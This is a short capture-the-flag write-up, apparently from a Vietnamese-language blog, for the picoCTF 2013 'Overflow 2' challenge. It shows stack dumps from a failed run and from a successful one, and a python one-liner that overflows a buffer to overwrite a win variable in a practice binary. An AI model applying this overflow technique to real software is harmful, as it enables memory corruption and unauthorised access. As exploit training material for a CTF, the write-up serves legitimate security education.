picoctf 2013 - Overflow 2: 100

Đề bài

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_2_44e63640e033ff2b , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_2_44e63640e033ff2b/key

sh-4.2$  ./stack_overwrite ^?^M
Stack dump:
0xffffd678: 0x0000078d
0xffffd674: 0xffffd86f (second argument)
0xffffd670: 0x00000000 (first argument)
0xffffd66c: 0x0804870b (saved eip)
0xffffd668: 0xffffd698 (saved ebp)
0xffffd664: 0xf7fcbff4
0xffffd660: 0x0000078d
0xffffd65c: 0xf7ee23e0
0xffffd658: 0xffffd6c4
0xffffd654: 0xf7ff0a90
0xffffd650: 0xffffd698
0xffffd64c: 0x00000000
0xffffd648: 0x00000000
0xffffd644: 0xf7fcbff4
0xffffd640: 0xffffd85d
0xffffd63c: 0x00000001
0xffffd638: 0x00ca0000
0xffffd634: 0xf7e324b8
0xffffd630: 0x080482ed
0xffffd62c: 0xf7ee241a
0xffffd628: 0x0000078d
0xffffd624: 0x0000078d
0xffffd620: 0xff000d7f (beginning of buffer)
win = 0
Sorry, you lose.

./stack_overwrite `python -c 'print "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x01"'`



user1929@shell:/problems/stack_overflow_2_44e63640e033ff2b$ ./stack_overwrite `python -c 'print "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x01"'`
Stack dump:
0xffffd618: 0x0000078d
0xffffd614: 0xffffd809 (second argument)
0xffffd610: 0x00000001 (first argument)
0xffffd60c: 0x61616161 (saved eip)
0xffffd608: 0x61616161 (saved ebp)
0xffffd604: 0x61616161
0xffffd600: 0x61616161
0xffffd5fc: 0x61616161
0xffffd5f8: 0x61616161
0xffffd5f4: 0x61616161
0xffffd5f0: 0x61616161
0xffffd5ec: 0x61616161
0xffffd5e8: 0x61616161
0xffffd5e4: 0x61616161
0xffffd5e0: 0x61616161
0xffffd5dc: 0x61616161
0xffffd5d8: 0x61616161
0xffffd5d4: 0x61616161
0xffffd5d0: 0x61616161
0xffffd5cc: 0x61616161
0xffffd5c8: 0x61616161
0xffffd5c4: 0x61616161
0xffffd5c0: 0x61616161 (beginning of buffer)
win = 1
sh-4.2$